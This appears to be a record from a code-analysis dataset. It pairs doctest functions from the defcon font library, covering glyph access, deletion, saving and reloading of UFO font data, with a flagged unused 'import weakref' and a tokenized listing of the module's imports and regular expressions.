\"\"\"", "metadata": "root._testNewGlyph", "header": "['module', '___EOS___']", "index": 1196 }, { "content": "def _testInsertGlyph():\n \"\"\"\n >>> \"need insert glyph test!\"\n \"\"\"", "metadata": "root._testInsertGlyph", "header": "['module', '___EOS___']", "index": 1214 }, { "content": "def _testIter():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> names = [glyph.name for glyph in font]\n >>> names.sort()\n >>> names\n ['A', 'B', 'C']\n >>> names = []\n >>> for glyph1 in font:\n ... for glyph2 in font:\n ... names.append((glyph1.name, glyph2.name))\n >>> names.sort()\n >>> names\n [('A', 'A'), ('A', 'B'), ('A', 'C'), ('B', 'A'), ('B', 'B'), ('B', 'C'), ('C', 'A'), ('C', 'B'), ('C', 'C')]\n \"\"\"", "metadata": "root._testIter", "header": "['module', '___EOS___']", "index": 1219 }, { "content": "def _testGetitem():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> font['A'].name\n 'A'\n >>> font['B'].name\n 'B'\n >>> font['NotInFont']\n Traceback (most recent call last):\n ...\n KeyError: 'NotInFont not in font'\n \"\"\"", "metadata": "root._testGetitem", "header": "['module', '___EOS___']", "index": 1236 }, { "content": "def _testDelitem():\n \"\"\"\n >>> from defcon.test.testTools import makeTestFontCopy, tearDownTestFontCopy\n >>> import glob\n >>> import os\n >>> path = makeTestFontCopy()\n >>> font = Font(path)\n >>> del font['A']\n >>> font.dirty\n True\n >>> font.newGlyph('NewGlyphTest')\n >>> del font['NewGlyphTest']\n >>> keys = font.keys()\n >>> keys.sort()\n >>> keys\n ['B', 'C']\n >>> len(font)\n 2\n >>> 'A' in font\n False\n >>> font.save()\n >>> fileNames = glob.glob(os.path.join(path, 'Glyphs', '*.glif'))\n >>> fileNames = [os.path.basename(fileName) for fileName in fileNames]\n >>> fileNames.sort()\n >>> fileNames\n ['B_.glif', 'C_.glif']\n >>> del font['NotInFont']\n Traceback (most recent call last):\n ...\n KeyError: 'NotInFont not in font'\n >>> tearDownTestFontCopy()\n\n # test saving externally deleted glyphs.\n # del glyph. not dirty.\n >>> path = makeTestFontCopy()\n >>> font = Font(path)\n >>> glyph = font[\"A\"]\n >>> glyphPath = os.path.join(path, \"glyphs\", \"A_.glif\")\n >>> os.remove(glyphPath)\n >>> r = font.testForExternalChanges()\n >>> r[\"deletedGlyphs\"]\n ['A']\n >>> del font[\"A\"]\n >>> font.save()\n >>> os.path.exists(glyphPath)\n False\n >>> tearDownTestFontCopy()\n\n # del glyph. dirty.\n >>> path = makeTestFontCopy()\n >>> font = Font(path)\n >>> glyph = font[\"A\"]\n >>> glyph.dirty = True\n >>> glyphPath = os.path.join(path, \"glyphs\", \"A_.glif\")\n >>> os.remove(glyphPath)\n >>> r = font.testForExternalChanges()\n >>> r[\"deletedGlyphs\"]\n ['A']\n >>> del font[\"A\"]\n >>> font.save()\n >>> os.path.exists(glyphPath)\n False\n >>> tearDownTestFontCopy()\n \"\"\"", "metadata": "root._testDelitem", "header": "['module', '___EOS___']", "index": 1250 }, { "content": "def _testLen():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> len(font)\n 3\n \n >>> font = Font()\n >>> len(font)\n 0\n \"\"\"", "metadata": "root._testLen", "header": "['module', '___EOS___']", "index": 1315 }, { "content": "def _testContains():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> 'A' in font\n True\n >>> 'NotInFont' in font\n False\n \n >>> font = Font()\n >>> 'A' in font\n False\n \"\"\"", "metadata": "root._testContains", "header": "['module', '___EOS___']", "index": 1327 }, { "content": "def _testKeys():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> keys = font.keys()\n >>> keys.sort()\n >>> print keys\n ['A', 'B', 'C']\n >>> del font[\"A\"]\n >>> keys = font.keys()\n >>> keys.sort()\n >>> print keys\n ['B', 'C']\n >>> font.newGlyph(\"A\")\n >>> keys = font.keys()\n >>> keys.sort()\n >>> print keys\n ['A', 'B', 'C']\n\n >>> font = Font()\n >>> font.keys()\n []\n >>> font.newGlyph(\"A\")\n >>> keys = font.keys()\n >>> keys.sort()\n >>> print keys\n ['A']\n \"\"\"", "metadata": "root._testKeys", "header": "['module', '___EOS___']", "index": 1341 }, { "content": "def _testPath():\n \"\"\"\n # get\n >>> from defcon.test.testTools import getTestFontPath\n >>> path = getTestFontPath()\n >>> font = Font(path)\n >>> font.path == path\n True\n\n >>> font = Font()\n >>> font.path == None\n True\n\n # set\n >>> import shutil\n >>> from defcon.test.testTools import getTestFontPath\n >>> path1 = getTestFontPath()\n >>> font = Font(path1)\n >>> path2 = getTestFontPath(\"setPathTest.ufo\")\n >>> shutil.copytree(path1, path2)\n >>> font.path = path2\n >>> shutil.rmtree(path2)\n \"\"\"", "metadata": "root._testPath", "header": "['module', '___EOS___']", "index": 1370 }, { "content": "def _testGlyphWithOutlines():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> sorted(font.glyphsWithOutlines)\n ['A', 'B']\n >>> font = Font(getTestFontPath())\n >>> for glyph in font:\n ... pass\n >>> sorted(font.glyphsWithOutlines)\n ['A', 'B']\n \"\"\"", "metadata": "root._testGlyphWithOutlines", "header": "['module', '___EOS___']", "index": 1394 }, { "content": "def _testComponentReferences():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> font.componentReferences\n {'A': set(['C']), 'B': set(['C'])}\n >>> glyph = font[\"C\"]\n >>> font.componentReferences\n {'A': set(['C']), 'B': set(['C'])}\n \"\"\"", "metadata": "root._testComponentReferences", "header": "['module', '___EOS___']", "index": 1407 }, { "content": "def _testBounds():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> font.bounds\n (0, 0, 700, 700)\n \"\"\"", "metadata": "root._testBounds", "header": "['module', '___EOS___']", "index": 1418 }, { "content": "def _testControlPointBounds():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> font.controlPointBounds\n (0, 0, 700, 700)\n \"\"\"", "metadata": "root._testControlPointBounds", "header": "['module', '___EOS___']", "index": 1426 }, { "content": "def _testSave():\n \"\"\"\n >>> from defcon.test.testTools import makeTestFontCopy, tearDownTestFontCopy, getTestFontPath, getTestFontCopyPath\n >>> import glob\n >>> import os\n >>> path = makeTestFontCopy()\n >>> font = Font(path)\n >>> for glyph in font:\n ... glyph.dirty = True\n >>> font.save()\n >>> fileNames = glob.glob(os.path.join(path, 'Glyphs', '*.glif'))\n >>> fileNames = [os.path.basename(fileName) for fileName in fileNames]\n >>> fileNames.sort()\n >>> fileNames\n ['A_.glif', 'B_.glif', 'C_.glif']\n >>> tearDownTestFontCopy()\n\n >>> path = getTestFontPath()\n >>> font = Font(path)\n >>> saveAsPath = getTestFontCopyPath(path)\n >>> font.save(saveAsPath)\n >>> fileNames = glob.glob(os.path.join(saveAsPath, 'Glyphs', '*.glif'))\n >>> fileNames = [os.path.basename(fileName) for fileName in fileNames]\n >>> fileNames.sort()\n >>> fileNames\n ['A_.glif', 'B_.glif', 'C_.glif']\n >>> font.path == saveAsPath\n True\n >>> tearDownTestFontCopy(saveAsPath)\n \"\"\"", "metadata": "root._testSave", "header": "['module', '___EOS___']", "index": 1434 }, { "content": "def _testGlyphNameChange():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> glyph = font['A']\n >>> glyph.name = 'NameChangeTest'\n >>> keys = font.keys()\n >>> keys.sort()\n >>> keys\n ['B', 'C', 'NameChangeTest']\n >>> font.dirty\n True\n \"\"\"", "metadata": "root._testGlyphNameChange", "header": "['module', '___EOS___']", "index": 1465 }, { "content": "def _testGlyphUnicodesChanged():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> font = Font(getTestFontPath())\n >>> glyph = font['A']\n >>> glyph.unicodes = [123, 456]\n >>> font.unicodeData[123]\n ['A']\n >>> font.unicodeData[456]\n ['A']\n >>> font.unicodeData[66]\n ['B']\n >>> font.unicodeData.get(65)\n\n >>> font = Font(getTestFontPath())\n >>> font.newGlyph(\"test\")\n >>> glyph = font[\"test\"]\n >>> glyph.unicodes = [65]\n >>> font.unicodeData[65]\n ['A', 'test']\n \"\"\"", "metadata": "root._testGlyphUnicodesChanged", "header": "['module', '___EOS___']", "index": 1479 }, { "content": "def _testTestForExternalChanges():\n \"\"\"\n >>> from plistlib import readPlist, writePlist\n >>> from defcon.test.testTools import getTestFontPath\n >>> path = getTestFontPath(\"TestExternalEditing.ufo\")\n >>> font = Font(path)\n\n # load all the objects so that they get stamped\n >>> i = font.info\n >>> k = font.kerning\n >>> g = font.groups\n >>> l = font.lib\n >>> g = font[\"A\"]\n\n >>> d = font.testForExternalChanges()\n >>> d[\"info\"]\n False\n >>> d[\"kerning\"]\n False\n >>> d[\"groups\"]\n False\n >>> d[\"lib\"]\n False\n >>> d[\"modifiedGlyphs\"]\n []\n >>> d[\"addedGlyphs\"]\n []\n >>> d[\"deletedGlyphs\"]\n []\n\n # make a simple change to the kerning data\n >>> path = os.path.join(font.path, \"kerning.plist\")\n >>> f = open(path, \"rb\")\n >>> t = f.read()\n >>> f.close()\n >>> t += \" \"\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n >>> os.utime(path, (k._dataOnDiskTimeStamp + 1, k._dataOnDiskTimeStamp + 1))\n\n >>> d = font.testForExternalChanges()\n >>> d[\"kerning\"]\n True\n >>> d[\"info\"]\n False\n\n # save the kerning data and test again\n >>> font.kerning.dirty = True\n >>> font.save()\n >>> d = font.testForExternalChanges()\n >>> d[\"kerning\"]\n False\n\n # make a simple change to a glyph\n >>> path = os.path.join(font.path, \"glyphs\", \"A_.glif\")\n >>> f = open(path, \"rb\")\n >>> t = f.read()\n >>> f.close()\n >>> t += \" \"\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n >>> os.utime(path, (g._dataOnDiskTimeStamp + 1, g._dataOnDiskTimeStamp + 1))\n >>> d = font.testForExternalChanges()\n >>> d[\"modifiedGlyphs\"]\n ['A']\n\n # save the glyph and test again\n >>> font[\"A\"].dirty = True\n >>> font.save()\n >>> d = font.testForExternalChanges()\n >>> d[\"modifiedGlyphs\"]\n []\n\n # add a glyph\n >>> path = os.path.join(font.path, \"glyphs\", \"A_.glif\")\n >>> f = open(path, \"rb\")\n >>> t = f.read()\n >>> f.close()\n >>> t = t.replace('<glyph name=\"A\" format=\"1\">', '<glyph name=\"XXX\" format=\"1\">')\n >>> path = os.path.join(font.path, \"glyphs\", \"XXX.glif\")\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n >>> path = os.path.join(font.path, \"glyphs\", \"contents.plist\")\n >>> plist = readPlist(path)\n >>> savePlist = dict(plist)\n >>> plist[\"XXX\"] = \"XXX.glif\"\n >>> writePlist(plist, path)\n >>> d = font.testForExternalChanges()\n >>> d[\"modifiedGlyphs\"]\n []\n >>> d[\"addedGlyphs\"]\n [u'XXX']\n\n # delete a glyph\n >>> path = getTestFontPath(\"TestExternalEditing.ufo\")\n >>> font = Font(path)\n >>> g = font[\"XXX\"]\n >>> path = os.path.join(font.path, \"glyphs\", \"contents.plist\")\n >>> writePlist(savePlist, path)\n >>> path = os.path.join(font.path, \"glyphs\", \"XXX.glif\")\n >>> os.remove(path)\n >>> d = font.testForExternalChanges()\n >>> d[\"modifiedGlyphs\"]\n []\n >>> d[\"deletedGlyphs\"]\n ['XXX']\n \"\"\"", "metadata": "root._testTestForExternalChanges", "header": "['module', '___EOS___']", "index": 1501 }, { "content": "def _testReloadInfo():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> path = getTestFontPath(\"TestExternalEditing.ufo\")\n >>> font = Font(path)\n >>> info = font.info\n\n >>> path = os.path.join(font.path, \"fontinfo.plist\")\n >>> f = open(path, \"rb\")\n >>> t = f.read()\n >>> f.close()\n >>> t = t.replace(\"<integer>750</integer>\", \"<integer>751</integer>\")\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n\n >>> info.ascender\n 750\n >>> font.reloadInfo()\n >>> info.ascender\n 751\n\n >>> t = t.replace(\"<integer>751</integer>\", \"<integer>750</integer>\")\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n \"\"\"", "metadata": "root._testReloadInfo", "header": "['module', '___EOS___']", "index": 1612 }, { "content": "def _testReloadKerning():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> path = getTestFontPath(\"TestExternalEditing.ufo\")\n >>> font = Font(path)\n >>> kerning = font.kerning\n\n >>> path = os.path.join(font.path, \"kerning.plist\")\n >>> f = open(path, \"rb\")\n >>> t = f.read()\n >>> f.close()\n >>> t = t.replace(\"<integer>-100</integer>\", \"<integer>-101</integer>\")\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n\n >>> kerning.items()\n [(('A', 'A'), -100)]\n >>> font.reloadKerning()\n >>> kerning.items()\n [(('A', 'A'), -101)]\n\n >>> t = t.replace(\"<integer>-101</integer>\", \"<integer>-100</integer>\")\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n \"\"\"", "metadata": "root._testReloadKerning", "header": "['module', '___EOS___']", "index": 1640 }, { "content": "def _testReloadGroups():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> path = getTestFontPath(\"TestExternalEditing.ufo\")\n >>> font = Font(path)\n >>> groups = font.groups\n\n >>> path = os.path.join(font.path, \"groups.plist\")\n >>> f = open(path, \"rb\")\n >>> t = f.read()\n >>> f.close()\n >>> t = t.replace(\"<key>TestGroup</key>\", \"<key>XXX</key>\")\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n\n >>> groups.keys()\n ['TestGroup']\n >>> font.reloadGroups()\n >>> groups.keys()\n ['XXX']\n\n >>> t = t.replace(\"<key>XXX</key>\", \"<key>TestGroup</key>\")\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n \"\"\"", "metadata": "root._testReloadGroups", "header": "['module', '___EOS___']", "index": 1668 }, { "content": "def _testReloadLib():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> path = getTestFontPath(\"TestExternalEditing.ufo\")\n >>> font = Font(path)\n >>> lib = font.lib\n\n >>> path = os.path.join(font.path, \"lib.plist\")\n >>> f = open(path, \"rb\")\n >>> t = f.read()\n >>> f.close()\n >>> t = t.replace(\"<key>org.robofab.glyphOrder</key>\", \"<key>org.robofab.glyphOrder.XXX</key>\")\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n\n >>> lib.keys()\n ['org.robofab.glyphOrder']\n >>> font.reloadLib()\n >>> lib.keys()\n ['org.robofab.postScriptHintData', 'org.robofab.glyphOrder.XXX']\n\n >>> t = t.replace(\"<key>org.robofab.glyphOrder.XXX</key>\", \"<key>org.robofab.glyphOrder</key>\")\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n \"\"\"", "metadata": "root._testReloadLib", "header": "['module', '___EOS___']", "index": 1696 }, { "content": "def _testReloadGlyphs():\n \"\"\"\n >>> from defcon.test.testTools import getTestFontPath\n >>> path = getTestFontPath(\"TestExternalEditing.ufo\")\n >>> font = Font(path)\n >>> glyph = font[\"A\"]\n\n >>> path = os.path.join(font.path, \"glyphs\", \"A_.glif\")\n >>> f = open(path, \"rb\")\n >>> t = f.read()\n >>> f.close()\n >>> t = t.replace('<advance width=\"700\"/>', '<advance width=\"701\"/>')\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n\n >>> glyph.width\n 700\n >>> len(glyph)\n 2\n >>> font.reloadGlyphs([\"A\"])\n >>> glyph.width\n 701\n >>> len(glyph)\n 2\n\n >>> t = t.replace('<advance width=\"701\"/>', '<advance width=\"700\"/>')\n >>> f = open(path, \"wb\")\n >>> f.write(t)\n >>> f.close()\n \"\"\"", "metadata": "root._testReloadGlyphs", "header": "['module', '___EOS___']", "index": 1724 } ]
[ { "span": "import weakref", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 14 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "weakref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "font", "Tools_", "._", "misc_", "._", "array", "Tools_", "import_", "uni", "on", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "robo", "fab", "_", "import_", "ufo", "Lib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "def", "con_", "._", "objects_", "._", "base_", "import_", "Base", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "def", "con_", "._", "objects_", "._", "glyph_", "import_", "Glyph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "def", "con_", "._", "objects_", "._", "info_", "import_", "Info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "def", "con_", "._", "objects_", "._", "kern", "ing_", "import_", "Kern", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "def", "con_", "._", "objects_", "._", "groups_", "import_", "Groups_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "def", "con_", "._", "objects_", "._", "features_", "import_", "Features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "def", "con_", "._", "objects_", "._", "lib_", "import_", "Lib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "def", "con_", "._", "objects_", "._", "uni", "Data_", "import_", "Unic", "ode", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "def", "con_", "._", "tools_", "._", "notifications_", "import_", "Notifi", "cation", "Center_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "regular", " ", "express", "ion", "s", " ", "used", " ", "by", " ", "vari", "ous", " ", "search", " ", "methods_", "\\u\\u\\uNL\\u\\u\\u_", "outline", "Sear", "ch", "Point", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"<", "\\\\", "s", "*", "point", "\\\\", "s", "+\"_", "#", " ", "<", "point_", "\\u\\u\\uNL\\u\\u\\u_", "\"[", "^", ">]", "+\"_", "#", " ", "anyt", "hing", " ", "except", " ", ">_", "\\u\\u\\uNL\\u\\u\\u_", "\">\"_", "#", " ", ">_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "component", "Sear", "ch", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"<", "\\\\", "s", "*", "component", "\\\\", "s", "+\"_", "#", " ", "<", "component_", "\\u\\u\\uNL\\u\\u\\u_", "\"[", "^", ">]", "*?", "\"_", "#", " ", "anyt", "hing", " ", "except", " ", ">_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "base", "\\\\", "s", "*=", "\\\\", "s", "*[", "\\\\\"", "\\\\']", "\"_", "#", " ", "base", "=\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"(.", "*?)", "\"_", "#", " ", "glyph", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "#", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "control", "Bound", "s", "Point", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"<", "\\\\", "s", "*", "point", "\\\\", "s", "+\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"[", "^", ">]", "+\"_", "\\u\\u\\uNL\\u\\u\\u_", "\">\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control", "Bound", "s", "Point", "XR", "E_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\\\\", "s", "+\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "x", "\\\\", "s", "*=", "\\\\", "s", "*\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"([", "-\\\\", "d", "]+)\"", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control", "Bound", "s", "Point", "YR", "E_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\\\\", "s", "+\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "y", "\\\\", "s", "*=", "\\\\", "s", "*\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"([", "-\\\\", "d", "]+)\"", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control", "Bound", "s", "Compo", "nent", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"<", "\\\\", "s", "*", "component", "\\\\", "s", "+\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"[", "^", ">]", "*?", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\">\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control", "Bound", "s", "Compo", "nent", "Base", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "base", "\\\\", "s", "*=", "\\\\", "s", "*[", "\\\\\"", "\\\\']", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"(.", "*?)", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control", "Bound", "s", "Compo", "nent", "XS", "cale", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "x", "Scale", "\\\\", "s", "*=", "\\\\", "s", "*[", "\\\\\"", "\\\\']", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"([", "-.", "\\\\", "d", "]+)\"", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control", "Bound", "s", "Compo", "nent", "YS", "cale", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "y", "Scale", "\\\\", "s", "*=", "\\\\", "s", "*[", "\\\\\"", "\\\\']", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"([", "-.", "\\\\", "d", "]+)\"", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control", "Bound", "s", "Compo", "nent", "XY", "Scale", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "xy", "Scale", "\\\\", "s", "*=", "\\\\", "s", "*[", "\\\\\"", "\\\\']", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"([", "-.", "\\\\", "d", "]+)\"", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control", "Bound", "s", "Compo", "nent", "YX", "Scale", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "yx", "Scale", "\\\\", "s", "*=", "\\\\", "s", "*[", "\\\\\"", "\\\\']", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"([", "-.", "\\\\", "d", "]+)\"", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control", "Bound", "s", "Compo", "nent", "XO", "ffset", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "x", "Off", "set", "\\\\", "s", "*=", "\\\\", "s", "*[", "\\\\\"", "\\\\']", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"([", "-\\\\", "d", "]+)\"", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "control", "Bound", "s", "Compo", "nent", "YO", "ffset", "RE_", "=_", "re_", "._", "compile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "y", "Off", "set", "\\\\", "s", "*=", "\\\\", "s", "*[", "\\\\\"", "\\\\']", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"([", "-\\\\", "d", "]+)\"", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"[\\\\", "\"\\\\'", "]\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-----", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "doctest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doctest_", "._", "testmod_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", 